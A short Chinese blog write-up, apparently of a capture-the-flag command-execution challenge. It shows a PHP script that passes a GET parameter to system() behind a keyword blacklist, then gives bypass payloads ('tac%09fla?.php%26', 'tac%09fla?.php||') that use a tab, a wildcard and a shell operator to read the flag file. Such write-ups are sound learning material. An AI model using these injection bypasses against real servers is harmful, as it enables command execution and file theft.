【无标题】

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了数字，$和*

?c=tac%09fla?.php%26
或
?c=tac%09fla?.php||

%09和%26应该不算数字，算是url编码

标签：__,26,数字,无标题,09fla,tac%
来源： https://blog.csdn.net/m0_62094846/article/details/122694605